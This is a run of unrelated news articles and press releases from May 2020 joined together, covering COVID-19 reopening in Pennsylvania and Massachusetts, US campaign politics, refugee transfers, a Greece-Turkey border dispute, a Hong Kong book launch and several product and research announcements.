Earlier Friday, 12 counties entered the yellow phase: Adams, Beaver, Carbon, Columbia, Cumberland, Juniata, Mifflin, Perry, Susquehanna, Wyoming, Wayne and York.

The Wolf administration has set three phases reflecting the reopening of the state: red, yellow and green. There are now 49 counties in Pennsylvania in the yellow phase, which allows more businesses to open their doors.

By June 5, every county will be freed from the stay-at-home order, including the Philadelphia area, which has been the epicenter of the virus in Pennsylvania.

In the yellow phase, companies are able to open their doors but are encouraged to allow employees to work remotely. Retailers are opening but encouraged to offer curbside service. Restaurants and bars are still limited to takeout and delivery.

Even in yellow counties, gyms, theaters, casinos, nail salons and barber shops are closed. Gatherings of more than 25 people are prohibited.

Republican lawmakers, who control the General Assembly, have criticized the Democratic governor for moving too slowly to reopen Pennsylvania. The state unemployment rate reached 15.1 percent in April, the highest level in more than 40 years, the state Department of Labor and Industry said Friday.

Some Democratic legislators have also started to press the governor to open more businesses. Dozens of Democratic lawmakers wrote the governor this week, asking him to allow all retail stores statewide to offer curbside service.

Gov. Tom Wolf's red, yellow and green phases reopening Pennsylvania after coronavirus-related shutdowns in 2020. (Graphic via the governor's office.)

More from PennLive

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A window of hope during the coronavirus pandemic: More portraits of how central Pennsylvania is coping, week 6

Coronavirus reopening: How, when summer camps and recreation, organized sports, more can operate in Pa.

President Trump wants all churches open for Memorial Day weekend
Main Sequence Ventures partner Phil Morle has joined a chorus of startup founders and experts calling for Australia to accelerate collaboration on quantum computing or be beaten by China and the United States on key innovations in health and defence.

"Everywhere we look, there are people starting to ask this question: how they can work with quantum tech companies ... Things are moving faster and faster," he said in a panel event on the future of Australian quantum technology on Friday.

Main Sequence Ventures partner Phil Morle said investors needed to buy into quantum computing before the full applications were known. Credit:Christopher Pearce.

Quantum technologies draw from the fields of physics and engineering and can be used to create new types of sensors, computers and secure communications. Quantum computing harnesses quantum physics to process information more efficiently and can be used in sectors like healthcare to speed up drug development.

It has already been applied in the defence sector, including for more accurate location tracking in difficult to access areas.
Former Vice President Joe Biden walked back statements he made on The Breakfast Club on Friday morning in which he told radio host Charlamagne tha God that black voters wavering between him and President Donald Trump "ain't black."

Mr Biden, the presumptive Democratic nominee for the 2020 election, called into a US Black Chamber call and explained his remarks, expressing regret over being a "wise guy."

"I shouldn't have been such a wise guy. I shouldn't have been so cavalier ... I have never, ever taken the African American community for granted," PBS White House correspondent Yamiche Alcindor reported Friday.

Charlamagne asked Mr Biden to return to his show the next time he was in New York because "we still got more questions."

Mr Biden replied that anyone still questioning who they'd vote for between himself and Mr Trump "ain't black."

"You've got more questions?" Well I tell you what, if you have a problem figuring out whether you're for me or Trump, then you ain't black," Mr Biden said.

Charlamagne said his questioning had nothing to do with Mr Trump, but had to do with concerns he had for his community. Mr Biden replied by pointing to his legislative record.

A clip of the interview went viral, prompting debates between Mr Biden's supporters and critics. The former vice president's senior adviser, Symone Sanders, said her boss's comments were made "in jest."

Recommended Lawyer for woman accusing Biden of sex assault drops case

"The comments made at the end of the Breakfast Club interview were in jest, but let's be clear about what the VP was saying: he was making the distinction that he would put his record with the African American community up against Trump's any day. Period," she tweeted.

During Mr Biden's follow-up call to the US Black Caucus, he said it was "unfortunate" that he said black voters "ain't black" if they're considering voting for Mr Trump. He said no one should have to vote for any party based on their race or any other demographic information, and that earning the support of black voters was "critical" to him.

"I am prepared to put my record against his. That was the bottom line. And it was really unfortunate," Mr Biden said. "I shouldn't have been so cavalier."
Canberra, May 22 : Forty-two refugees held in an Australian centre in Papua New Guinea (PNG) were transferred to the US this week as part of an agreement between Canberra and Washington, human rights activists confirmed on Friday.

On Thursday, 35 refugees left on a commercial flight from Port Moresby, while the other seven left Australia two days earlier, Refugee Action Coalition spokesman Ian Rintoul told Efe news.

Refugee rights groups are "very concerned" about the situation the refugees will face given that in the US they will receive limited support for three months, and many of those previously sent under this agreement had lost their jobs or were in "desperate circumstances" even before the COVID-19 pandemic began, Rintoul said.

Over 38 million Americans have so far filed unemployment claims due to the crisis in the US.

Many of the refugees or asylum seekers have been detained since 2013, when Australia sent them to detention centres on PNG's Manus island and another compound located on the island nation of Nauru as part of the tightening of its immigration policy, which prevents entry by sea.

"In (a) country like Australia, seeking asylum is (a) crime itself (...) since 2013 hundreds of refugees like myself, many other(s), we've been sent to indefinite detentions where we spent 6/7 years," Abdul Aziz, a refugee advocate who was once held on Manus island, tweeted on Friday.

Aziz attached a photograph of his former roommate Omar Muhammed Jack, who was sent to Manus at the age of 17, and now at age 24 was one of those travelling to the US.

More than 700 refugees have been sent to the US under an agreement signed in 2016, although there are still 340 people remaining in immigration detention centres sponsored by Australia in the South Pacific.

Of this total, 65 are waiting to be sent to the US, but the situation is "extremely precarious" on Nauru and Manus, said Rintoul.
Legacy Goods Talon Tool I am incredibly fortunate to have a job that fosters creativity and has allowed me to work from home during the lockdown, so I decided that if I was really serious about doing this, Im never going to have a better chance.

Jonathan Tenkely, a Colorado-based graphic designer and founder of the prototype development company Legacy Goods, has not been spending much time on the couch since Colorados stay-at-home order was enacted. Since early March, he has been designing, prototyping, and is now manufacturing solid metal pocket-tools that leverage the naturally-occurring antimicrobial properties of brass*. The tools unique features were designed to decrease skin contact with commercial doors, keypad buttons, latches, and touch pads while offering additional versatility as a screwdriver, pry-bar, and even a bottle opener. Hes launching his product idea on Kickstarter.com in hopes that his enthusiasm for fabrication and design can take his startup in a new direction. In addition to using the funds to pay for the creation of the tools, 5% of the total funds raised on Kickstarter will be donated to the Mile High United Way organization.

I love any excuse to get into the shop and create something. In 2018, I bought my own CNC machine and started a small business making custom metal prototypes and simple tools. I have always had plans to put more energy into scaling-up my company, but I always seem to have too much on my plate to make that happen. Says Jonathan, the founder of Legacy Goods LLC. I am incredibly fortunate to have a job that fosters creativity and has allowed me to work from home during the lockdown, so I decided that if I was really serious about doing this, Im never going to have a better chance.

Jonathan has launched the Talon Multi-Tool on Kickstarter.com. The tool is CNC machined from solid brass in the Legacy Goods prototype shop, and capitalizes on the inherent antimicrobial properties of the metal*. Designed to be a simple tool to avoid touching commonly shared surfaces, the tool can assist in opening door latches, pressing keypad buttons, and reducing contact with surfaces on public transportation. By designing as many useful features as possible into the tool, like a pry bar, screwdriver, and bottle opener, Jonathan believes his design is superior to similar imported tools on the market and will offer consumers continued every-day utility as we navigate our next normal. Jonathan has developed plans to handcraft each tool in his home CNC shop near Denver and has already begun production to ensure he can deliver a tool to early supporters of his Kickstarter campaign.

About Jonathan Tenkely  Jonathan is a designer and maker located in Highlands Ranch, CO. A Creative Director by trade, he pours his energy into starting with the rough sketch of an idea; and through trial, experimentation, and refinement, he brings that idea into the physical world to give it form and function. He has worked with a variety of clients including Starbucks, Procter & Gamble, Gillette, and Nestle.

About Legacy Goods LLC.  Legacy Goods is a startup rapid prototype, design, and CNC fabrication shop located in Highlands Ranch, CO. Founded by Jonathan Tenkely in 2018, Legacy Goods specializes in 3D Printing, CNC Fabrication, Product Design, and Graphic Design.

Contact  Jonathan Tenkely

Legacy Goods LLC  http://www.legacygoods.com/press

legacygoods@gmail.com

720.224.2657

Kickstarter Campaign Link  https://www.kickstarter.com/projects/legacygoods/the-legacy-goods-talon-solid-brass-multi-tool?ref=user_menu

*Source: https://www.copperalloystewardship.com
Documents explaining the Massachusetts reopening plan unveiled Monday were published in English and Spanish, making them inaccessible for hundreds of thousands of residents who speak neither language.

The states Executive Office of Housing and Economic Development is now working with a vendor to have the COVID-19 control plan template, employer poster, worker poster and other information for reopening businesses available in nine languages, an official said. Once complete, the state plans to share information in simplified Chinese, traditional Chinese, Portuguese, Haitian Creole, Vietnamese, Arabic, Korean, Khmer, and Gujarati, as well as English and Spanish.

Massachusetts Gov. Charlie Baker unveiled a four-phase reopening plan that details everything from face mask requirements for the long term, remote work-from-home policies, mandatory workplace safety guidelines and industry-specific guidelines.

If we dont keep up the fight and dont do the things that we all know we have to do and know we can do, we run the risk of creating a second spike for all, Baker, a Republican, said at the time.

The state published sector-specific safety protocols and checklists for industries that were allowed to reopen on Monday or will be allowed to on Memorial Day, including manufacturing, office spaces, laboratories, pet grooming, hair salons and barbershops. Those industry-specific guidelines and checklists were posted in English and Spanish, but were not available in other languages.

An OHED official said these are some of the materials the state is working to get translated in seven other languages. It is unclear how long that will take.

More than 1.5 million people in Massachusetts speak a language other than English at home, according to the U.S. Census Bureaus 2018 American Community Survey. These residents make up roughly 22% of the states population.

Nearly half a million of them reported speaking English less than well, according to census data.

Nearly half of recorded Spanish speakers, or 239,079 residents, said they Speak English less than well.

More than one-third of residents who speak an Indo-European language, or 200,060 residents, said they speak English less than well.

According to the ACS, 28,686 people or one-tenth of residents who speak an Asian or Pacific Islander language, reported speaking English less than well.

Figures in the ACS and even in the decennial census dont capture all Massachusetts residents. Community organizers and advocates say undocumented immigrants tend to avoid participating for fear that they would be detained by immigration authorities, though internal census records are not shared with any other federal agency.

The Baker administration posted informational videos on Monday about what can be used as a face covering. They were posted in English, Spanish, Portuguese, Chinese, Haitian Creole and Vietnamese.

Officials have relied on the Google Translate widget to translate other information on the website, including reopening-related pages labeled Four-Phase Approach, When can my business reopen? and the Safer-At-Home Advisory. The widget translates materials on government websites into more than two dozen languages, but the translations dont work on infographics and arent always entirely accurate.

An overview of the Massachusetts four-phase reopening plan is translated into Vietnamese using a Google Translate widget.

PDF documents, such as the states reopening report, were only made available in English. The COVID-19 control plan template and others for businesses to use as they prepare for a safe reopening were available in English and Spanish, but were not published in other languages.

The Baker administration faced scrutiny in the earlier days of the pandemic because the states unemployment system was outdated, not mobile friendly and only available in one language. The websites Google Translate widgets stopped working as soon as one opened the unemployment claim application, MassLive reported.

Attorneys, lawmakers and community organizers told MassLive they spent hours working with constituents in Cantonese, Portuguese and Spanish to guide them through the application process.

Baker announced in April the launch of a Spanish language unemployment system that was mobile friendly. The unemployment system has not expanded to other languages.

The gradual rollout of multilingual materials comes as Boston city officials are reviewing concerns from locals about language accessibility during the coronavirus pandemic. City Councilors Julia Mejia and Ed Flynn, who lead the Civil Rights Committee, hosted a hearing May 15 on language accessibility fielding questions and comments from people in Boston.

The hearing was translated in several languages, and those videos were published on YouTube.

As a city it is our responsibility to make sure no one is left on the sidelines of this global pandemic, said Pooja Chandrashekar, a first-year medical student at Harvard University who founded the COVID-19 Health Literacy Project.

In her testimony, Chandrashekar said she started the project after hearing from a mobile health clinic that serves predominantly minority, immigrant and refugee patients that patients who had limited English proficiency didnt have enough access to information.

The lack of multilingual COVID-19 information meant staff were unable to provide to these non-English speaking patients with information in their native language that could protect them and their families," she told city councilors.

To help break down phase one of this plan, our office put together these graphics in English, Spanish, and Mandarin on what this initial step looks like #bospoli #mapoli #AllMeansAll https://t.co/5O1P5cx9Ww pic.twitter.com/9u3tOqoBwH  Julia Mejia (@juliaforboston) May 21, 2020

The city initially started with English-language text messaging system for COVID-19 information, but expanded to share information in 11 languages. The city switched vendors to provide that service, said Yusufi Vali, director of the Mayors Office for Immigrant Advancement.

The state launched a text alert system in English for COVID-19 in March and launched a Spanish text alert system two weeks later. The text alerts arent available in other languages.

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Greece has complained to Turkey in a border dispute linked to a riverbed change, a foreign ministry source said Friday.

The ministry official confirmed an earlier report by state agency ANA, saying Athens had made a protest to Ankara.

Foreign Minister Nikos Dendias on Wednesday said there was a "dispute" over the "exact boundary" of the Evros, the river known as Maritsa in Turkey that divides the two countries.

"The riverbed has changed," Dendias said.

Greek reports on Friday said Turkish troops had occupied a strip of land that is normally submerged at this time of year, and is on Greece's side of the border.

The main opposition Syriza party on Friday demanded an immediate briefing "over Turkey's arbitrary and aggressive actions".

Dendias was criticised in parliament for saying on Wednesday that "all these things can be resolved via a joint committee and the relevant measurements."

"We're talking about a few tens of metres," he said.

There was tension in the area in March after Turkey encouraged tens of thousands of asylum-seekers to travel to the border with Greece in the hope of crossing into the European Union.

For days, there were skirmishes on the border as migrants trying to break through threw stones at Greek riot police who fired tear gas at them.

Turkish police also bombarded Greek forces with tear gas at regular intervals, and Athens accused Turkish police of handing out wire cutters to migrants to help them break through the fence.

Greek border forces have also claimed that Turkish troops have recently fired shots into the air.

Ankara accused Athens of beating migrants and firing live rounds at them, alleging that some died of bullet injuries.

The Greek government categorically denied using undue force.

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One conflict, many sides: The story of Hong Kong's year of unrest

The South China Morning Post (SCMP) and international academic publisher World Scientific announced today the launch of Rebel City: Hong Kong's Year of Water and Fire --a new book that chronicles the political confrontation that has gripped the city since June 2019.

The anthology is a nuanced and in-depth account of the unprecedented turmoil and complex manoeuvrings that defined a summer of discontent, distilled from more than 5,000 news reports, analysis and commentaries from Hong Kong's paper of record.

Rebel City is more than a collection of stories--it aims to profile the Hong Kong protests without fear or favour, underpinned by journalistic instincts that know every tale has multiple sides. It comprehensively outlines the city's worst political crisis through a plurality of perspectives that goes beyond the perceived dichotomy of the people of Hong Kong versus its government.

This book is for anyone seeking to understand not just what Hong Kong has gone through but also the global phenomenon of increasingly leaderless protest movements. Edited by SCMP's Deputy Executive Editor Zuraidah Ibrahim and Political Correspondent Jeffie Lam, the book draws on the work of more than 35 of the Post's newsroom across Hong Kong, Beijing, Washington and Singapore--a team with unmatched access to all sides of the conflict.

Hong Kong was in retrospect ripe to be the laboratory for a new-age protest movement, fueled by profound angst about the place of millennial youth in society, widening income inequality, and the speed of digital communications. The anti-extradition bill protests that morphed rapidly into a wider anti-government movement in 2019 left no aspect of the city untouched, from its social compact to its body politic to its open economy. Against the backdrop of the "one country, two systems" model and its growing ambiguities, SCMP's reporting team took a contemplative look back at Hong Kong in Rebel City on its most wrenching political crisis since its return to Chinese rule in 1997.

"The book is a non-partisan account of the events of 2019 and a fact-based attempt to explain all the contradictions, nuances and complexities of the anti-government protest movement triggered by the ill-fated extradition bill. Rebel City encapsulates the blood, sweat and tears of a world city at a crossroads that, and is still impacted by those events today. I'm proud of what this book represents and our team's contribution in covering one of the biggest social and political upheavals of our times," said Tammy Tam, Editor in Chief, South China Morning Post.

"We are grateful to our newsmakers and sources on all sides of this complex story. The events of 2019 produced many conflicting narratives and shades of grey, and it was important to hear the voices of all who were impacted. No one has emerged from it unscathed. This book would not have been possible if they were not willing to share their perspectives so generously," said Zuraidah.

"This insightful book provides a holistic array of differing perspectives during one of Hong Kong's most turbulent times in recent history as the world witnessed the series of events unfold before its eyes. World Scientific is privileged to be a part of this book project that brings about first-hand accounts of different encounters from within the city," said Max Phua, Managing Director, World Scientific.

Rebel City retails for US$28 / 22 / S$28 / HKD$198 in paperback and US$68 / 60 / S$68 in hardback (before taxes, where applicable) at major bookstores, distributors and online. SCMP readers may order a copy on https:/ / www. scmp. com/ rebel-city/ order . More details about the book can be found at https:/ / www. worldscientific. com/ worldscibooks/ 10. 1142/ 11777 .

Individuals may also purchase electronic editions through Kindle, Kobo, Google Play and ebooks.com.

Advance Praise for "Rebel City"

"This excellent book is an inspiring reminder of the vital importance of a free press in any society that is struggling with difficult social and political problems. Throughout 2019, international observers relied on the South China Morning Post to reveal the full complexity of the Hong Kong situation. This book provides a chance for readers to reflect on what happened, and draw lessons for the future."

Kurt Tong, former United States Consul General to Hong Kong and Partner of The Asia Group

"As mentioned in this book, the protests in Hong Kong against the extradition bill of 2019 were 'among the world's most visible political events in history'. Like the 2003 protest against the national security bill and the 'Umbrella movement' of 2014, the 2019 movement was a watershed moment that raised fundamental questions about the future of 'one country, two systems'. This book, written by South China Morning Post journalists who eyewitnessed the turmoil is an indispensable guide for anyone who wants to know what happened and to understand why."

Albert H.Y. Chen, Cheng Chan Lan Yue Professor of Constitutional Law, University of Hong Kong, and member of the Basic Law Committee

"2019 was a turbulent and tumultuous year for Hong Kong. Events followed fast upon each other. This collection of stories, interviews and analysis by seasoned reporters from the South China Morning Post performs the crucial service of recording what happened, asking why it happened, and, most important of all, not rushing to any quick conclusions. A powerful, and at times moving, account of a city under siege, but trying to find its way."

Kerry Brown, Director, Lau China Institute, King's College London

"One of the British Prime Ministers once complained of bias in the media and he was asked in which direction, and he said it's biased in every direction." - Chris Patten. The events in 2019 shocked and polarized Hong Kong. A fearless and vibrant press is indispensable in such times. It is the price to pay for a free and pluralistic society that the press provokes disagreement, irritates, or even occasionally gets it wrong. The pieces in this volume will not - and are not designed to - please everybody. This is in the best traditions of the Post - long may it continue. I congratulate the Post for a job well done."

Paul Shieh SC, former Chairman, Hong Kong Bar Association

About the South China Morning Post

The South China Morning Post is a leading global news media company that has reported on China and Asia for more than a century. Founded in 1903, SCMP is headquartered in Hong Kong and is the city's newspaper of record. To serve its global readership, its network of correspondents spans across Asia and the U.S. reporting on issues relevant to its mission, which is to lead the global conversation about China. Its digital reach makes it one of the region's biggest publications, providing readers with accurate, credible and compelling content. SCMP became the first news organization in Asia to join the Trust Project in 2020, a consortium of top news companies developing global transparency standards for credible journalism.

For more information, contact Andrea Leung at andrea.leung@scmp.com

About World Scientific Publishing Co.

World Scientific Publishing is a leading international independent publisher of books and journals for the scholarly, research and professional communities. World Scientific has published for luminaries that include both former Prime Ministers of Singapore, Lee Kuan Yew and Goh Chok Tong, former ministers and senior civil servants of the likes of George Yeo, Ho Peng Kee, Lim Siong Guan, Tommy Koh, Peter Ho, and Bilahari Kausikan, and prominent public figures like Ho Kwon Ping, Claire Chiang, Albert Hong, Liu Thai Ker, and Wang Gungwu, amongst others.

World Scientific also collaborates extensively with research institutes, universities, governmental organisations and companies locally as well as globally to publish professional, scientific, technical, medical and popular content. The company publishes about 600 books annually and 150 journals in various fields, and has also established a global presence with 13 offices around the world. To find out more about World Scientific, visit http://www. worldscientific. com .

For more information, contact Amanda Yun at heyun@wspc.com

About the Editors

Zuraidah Ibrahim is Deputy Executive Editor of the South China Morning Post, overseeing local Hong Kong coverage and Asia and International news. Previously the deputy editor of The Straits Times in Singapore, she was a key author of the bestselling memoir Lee Kuan Yew, Hard Truths to Keep Singapore Going (2011). Her most recent publication is The Opposition in Singapore (2017).

Jeffie Lam is a correspondent and leads the Hong Kong politics team at the South China Morning Post. An award-winning political journalist, she started her career as a reporter in 2009 and joined the Post in 2013, covering the city's legislative affairs, social movements and party politics. Jeffie reported on the Occupy movement in 2014 and the protests of 2019.

###

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
Chief Minister Pema Khandu on



Friday exhorted the people of Arunachal Pradesh to put in extra efforts to prevent the spread of COVID-19 pandemic in the state.

Arunachal Pradesh at present is coronavirus free after the lone COVID-19 patient from Lohit district was discharged from hospital on April 17 after being cured.

But the state must be ready for any eventuality as the country has witnessed a surge in corona cases, Khandu said while chairing a review meeting at Tawang, his home district on COVID-19 preparedness.

"It is in such likelihood that the purpose of the preparedness level in the state should be on 100 per cent prevention on spread of COVID-19 infection as and when any positive cases arise. It will be a failure of the state government if the spread of the disease is not contained," Khandu said during the meeting.

The chief minister said that adequate awareness must be generated to prevent the spread of panic and rumours if any positive case arises.

He urged the use of Information, Education and Communication (IEC) campaigns, use of all means of public communication to spread awareness so that any positively identified person is not ostracized.

Speaking on the initiatives of the state government in the health sector, Khandu said North East Special Infrastructure Development Scheme (NESIDS) and North East Council (NEC) funds would be used cent per for upgrading the health sector.

The chief minister said that a long term policy for robust infrastructure and facilities for all 25 district hospitals in the state has been rolled out with proposed allocation of Rs 350 crore while fifty per cent of MLA local area development fund could be used for fighting coronavirus.

Khandu said the state government has also launched its exercise to define its own zones, containment plan and standard operating procedures for COVID-19, which would be completed soon.

On reviving the states economy, the chief minister said priority would be given to agriculture and horticulture activities.

"The government will provide farmers with fencing, seeds for agri and horti crops as well as provide support for marketing the farm produce," Khandu said.

"The Agriculture Produce Marketing Committee (APMC) has been activated in all the districts and it has been doing a commendable job for finding markets for the farmers. Army and central paramilitary forces stationed in the state are also a big market for the farmers for which the state government will soon sit with the officials of the respective forces to work out the modalities," he added.

The chief minister lauded the Tawang district administration for its exemplary work in COVID-19 preparedness and appreciated the team effort put by the local administration, government departments, local NGOs, community organizations and the local community.

He also appreciated the district administration for the elaborate arrangements such as constituting of supervisory committee, monitoring committee and disinfectant committee to put up a robust mechanism to fight coronavirus pandemic in the district.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
If it had been an isolated event, Biden's Florida flop would have been easily forgiven. The problem was that it epitomised what Democratic and Republican strategists agree is one of his campaign's fundamental weaknesses: its digital operation. Since Trump's shock 2016 victory, his campaign has built a formidable online apparatus that Biden has no hope of matching. Trump has 27 million Facebook followers compared to Biden's 1.8 million; on Instagram, Trump has almost 20 million followers compared to 2 million for Biden. It's not just follower counts, but intensity that sets the two campaigns apart. According to online analytics site Crowdtangle, Trump's team uploaded 136 Facebook posts compared to 62 for Biden in the period from May 10 -16. Over recent weeks, The New York Times opinion page has featured a stream of columns by worried Democratic strategists calling on the Biden campaign to quickly sharpen its digital performance.

Former Pete Buttigieg adviser Lis Smith advised Biden to become "the hottest bad boy and disrupter in the media game" by flooding local news outlets and tapping into the social media networks of Democrat-friendly celebrities like Ariana Grande. Former Barack Obama advisers David Axelrod and David Plouffe wrote: "In order to break through and be heard, he will have to up the tempo of his campaign, fully utilise his army of powerful surrogates and embrace a new suite of virtual, data-driven tools and creative tactics. "Online speeches from his basement wont cut it." Republican strategist Eric Wilson, who spent time in Australia working on conservative campaigns, compares Biden's attempts at digital campaigning to "a rugby league player trying to get into Australian rules". The Trump app has been described as a "gamified" experience that rewards the base for spreading the word.

"The Biden campaigns posture is: We dont need to win the internet, the internet is not real life, were trying to run a nicer campaign," Wilson says. "But the internet is real life  especially during a pandemic. Its not an issue of age or technology or know-how. Its simply a mentality of appreciating how building movements online works and Biden doesnt seem to have any interest in figuring that bit out." It's not that Biden has been sitting idle. During the pandemic, his campaign has held several online events each week, including roundtables with Democratic governors and a discussion between Biden and 2016 nominee Hillary Clinton. Since April, Biden has hosted a weekly podcast, Here's the Deal, in which he has interviewed guests such as Democratic Senator Amy Klobuchar and historian Jon Meacham. But few would describe the content as scintillating and engagement has been low. A Biden virtual rally in Wisconsin this week has attracted just 13,000 views. Here's the Deal is ranked 36th on the Apple's US politics podcast charts  well below programs hosted by first-term Republican congressman Dan Crenshaw and Al Franken, the former Democratic Senator and Saturday Night Live comedian. Biden has acknowledged room for improvement. "I'm sure we can do better on the internet," he said during an interview on Snapchat, a social media app also plagued by design issues and stiff competition . "I'm trying to compete there. We're getting started late in a comparative sense."

On the same day as Biden's ill-fated rally in Florida, Trump's campaign manager, Brad Parscale, sent out an ominous tweet. "For nearly three years, we have been building a juggernaut campaign (Death Star)," he wrote. "It is firing on all cylinders. Data, Digital, TV, Political, Surrogates, Coalitions, etc." He added: "In a few days we start pressing FIRE for the first time." Parscale's "Death Star" reference was widely mocked. "You do understand that the people who built the Death Star were the bad guys, right?" Star Wars screenwriter Gary Whitta responded. "Also they lost." Inept analogies aside, Stefan Smith, who served as Pete Buttigieg's online engagement director, says Democrats would be making a big mistake to underestimate the power of the Trump campaign's digital operation.

In particular, he is impressed by the design of the Trump 2020 app, which he compares to a Las Vegas casino. Just as casinos don't have easy exits or clocks, he says the Trump app is designed to keep users trapped inside for longer than they expected. The Trump app contains its own news feed, nightly cable news-style broadcasts and a calendar of upcoming events. Users are also encouraged to collect "reward points" by sharing the app or posting news articles to their social media feed. If they amass enough points, they can redeem them for discounts on Trump merchandise, priority entry to Trump rallies and, supposedly, even a photo with Trump himself. Smith describes it as "gamified" political participation. "The Trump campaign is creating a world in which if you are a supporter, you never have to leave that ecosystem," Smith says. "Hes essentially launched his own media network. It allows him to funnel all his supporters into one place and make it harder for them to get reached by outside news."

Trump's multi-platform digital campaign is slick and sharp. Credit:YouTube The point of the app is not to persuade undecided voters. It is to turn Trump fans into campaign surrogates by encouraging them to donate, volunteer and spread the message to friends and relatives. The Trump campaign hosts regular online events to arm groups of supporters  women, veterans, evangelicals  with talking points tailored for their specific communities. A "Latinos for Trump" event this week focussed on the President's opposition to authoritarian socialist regimes in Cuba and Venezuela  a potentially potent message with expat communities in Florida. The self-enclosed, self-referential nature of much of the Trump campaign's digital output can make it almost incomprehensible to outsiders. This week, the Trump campaign launched a satirical investigative website titled Truth over Facts (a reference to a little-known Biden verbal slip up from last year).

The Trump campaign said the website "takes a closer look at Bidens words and phrasing and brings in 'experts' to discern if there is hidden meaning behind the muddled declarations that most normal people would miss". Smith believes the Biden campaign is beginning to turn its digital ship around. The campaign is in the process of doubling its digital staff and has hired Buzfeed's former head of video. Even so, it's questionable how important digital campaigning will be to the end result  even during a pandemic. For all the hand-wringing about Biden's poor online performance, he is easily leading Trump in all the major polls, including in the battleground states. Peter Hamby, who interviewed Biden for his Good Luck America program on Snapchat, argues it would be a mistake for Biden to try to beat Trump at his own game.
Capt. Jenn Casey is seen in this undated handout photo from the Royal Canadian Air Force Twitter page. The family of Capt. Jenn Casey says the member of the Snowbirds aerobatic team died while supporting an important mission "that seemed to be designed for her." THE CANADIAN PRESS/HO, Twitter-@RCAF_ARC *MANDATORY CREDIT*
VANCOUVER, British Columbia, May 22, 2020 (GLOBE NEWSWIRE) -- PRIMO NUTRACEUTICALS INC. (CSE: PRMO) (OTC: BUGVF) (FSE: 8BV) (DEU: 8BV) (MUN: 8BV) (STU: 8BV) (Primo or the Company) is pleased to announce that it has received its NPN (Natural Product Number) from Health Canada. Primo Nutraceuticals hand sanitizers meet Health Canada's requirements for safety, effectiveness and quality.



In response to the increasing demand for hand sanitizers in Canada during the current COVID-19 pandemic, Health Canada has implemented an interim expedited licensing approach to help businesses like Primo to obtain the required authorizations to produce and distribute hand sanitizer. Consistent with the interim measure for alcohol-based hand sanitizers currently in place, Primos hand sanitizer can be distributed to healthcare and commercial settings across Canada.

The Natural Product Number NPN 80099466 issued to Primo will be located on every Primo product label distributed.

The Natural Product Number contains information about the natural health product and found to be safe, effective and of high quality under their recommended conditions of use. You can identify licensed natural health products by looking for the eight-digit Natural Product Number (NPN) or Homeopathic Medicine Number (DIN-HM) on the label.

Sales are to commence in June 2020. No purchase orders are yet in place.

To view the product brochure visit: https://www.primoceuticals.com/shop#!/Primo-Lemon-Hand-Sanitizer-60/p/197662415/category=0

About Primo Nutraceuticals Inc.

Primo Nutraceuticals Inc. (Primo or the Company) is dedicated to funding the rapid growth in production, processing, retail and branding of cannabis and non-cannabis related products in Canada and the United States. Primo has invested in several brands and is pursuing partnerships with retailers and distribution companies in Canada and the United States. Primo's management is in the process of building a corporate road map to further vertically integrate the Company, specifically by way of Primo branded retail outlets - offering Thrive, Primo, and a selection of curated partner brands. The Company possesses proprietary formulas for cannabis edibles, topical, and tinctures. Primo is focused on building a strong presence in the hemp industry with the objective of extracting and selling cannabinoids (CBD) products in both Canada and the United States.

On behalf of the Board of Directors

PRIMO NUTRACEUTICALS INC.

Andy Jagpal

President and Director

For further information, please contact Zoltan, IR Representative at: 604-722-0305, or; info@primoceuticals.com

To learn more about what this news means to the shareholders visit:

https://t.me/PrimoNutraceuticals

Shop: www.primoceuticals.com

www.twitter.com/prmonutra

www.thrivecbd.org

www.beautykitchen.net

www.marianna.ca

www.drinkdefy.com

Corporate: www.primonutraceuticals.com

FORWARD LOOKING STATEMENTS: This news release contains certain forward-looking statements within the meaning of Canadian securities laws. Forward-looking statements are based on the expectations and opinions of the Company's management on the date the statements are made. The assumptions used in the preparation of such statements, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on forward-looking statements. The Company expressly disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise. No regulatory authority has approved or disapproved the information contained in this news release.

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/c8349cf6-4f9e-49b2-9769-53f0c3274f0d
Experts developed an e-skin that can decode complex human motions using enhanced deep-learning technology. According to Tech Xplore's latest report, a sensor that can act as an electronic skin was recently developed by the researchers at Korea Advanced Institute of Science and Technology (KAIST) and Seoul National University, integrating it with a deep neural network.

Also Read: MIT Experts Develop Washable Coronavirus Sensors That Can Be Embedded In Clothing

The newly developed e-skin system can capture human dynamic motions, including rapid finger movements from a distance using enhanced deep-learning technology; the innovation was presented in a paper published in Nature Communications. Experts in the fields of computer science and mechanical engineering had an interdisciplinary collaboration that gave way for the development of the new system. Sungho Jo, a computing professor at KAIST, and Seung Hwan Ko, a professor of mechanical engineering at Soul National University, lead the new study.

ALSO READ: NHS to Conduct a Virtual Reality Trial with Hi-Tech Headset to Tackle Patients' Worst Phobias

Professor Seung Hwan Ko has been generating cracks in metal nanoparticle films using laser technology over the past years in the hope of developing highly sensitive strain sensors. The researchers integrated the resulting sensor arrays to a virtual reality (VR) glove specifically designed to identify human movements.

How can skin sensors capture complex human motions using deep-learning technology?

According to Tech Xplore, researchers developed an electronic skin sensor that decoded complex human motions, such as rapid finger movements, using enhanced deep-learning technology. Professor Seung Hwan Ko said the complexity of the target system increases. The required number of strain sensors also increases, which is why his lab typically uses five to ten strain sensors to predict complex hand motion; each finger must be integrated with at least one or two sensors.

"A few years ago, I started asking myself the following question: Can we accurately predict hand motion with only one single strain sensor instead of using many sensors? Initially, this appeared to be a dumb question, because it was almost impossible to tell what finger the signal from a strain sensor came from," he further explained.



On the other hand, Professor Sungho Jo was creating different strategies to integrate machine learning techniques with state-of-the-art sensors. Professor Ko is trying to develop a single strain sensor that can effectively decode an individual's hand gestures.



Professor Sungho Jo reiterated that they could decouple multiple different behaviors observed by a single sensor if they can properly utilize the patterns of human complex motions using machine learning technology.

"After the close collaboration, we were able to develop a single deep-learned sensor that can predict complex hand motions," he added.



The e-skin system developed by the researchers showed highly promising results in the initial evaluations of the study. Complex finger motions were successfully decoded and detected in real-time while consistently operating despite its position on a user's wrist. It was reiterated that the innovation could play an important role in the development of wearable devices such as fitness trackers and the development of robots.





 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
At nearly half the national average, Western Australia has the lowest testing rate for COVID-19 in the country as the roll-out of the states asymptomatic testing program continues to stall.

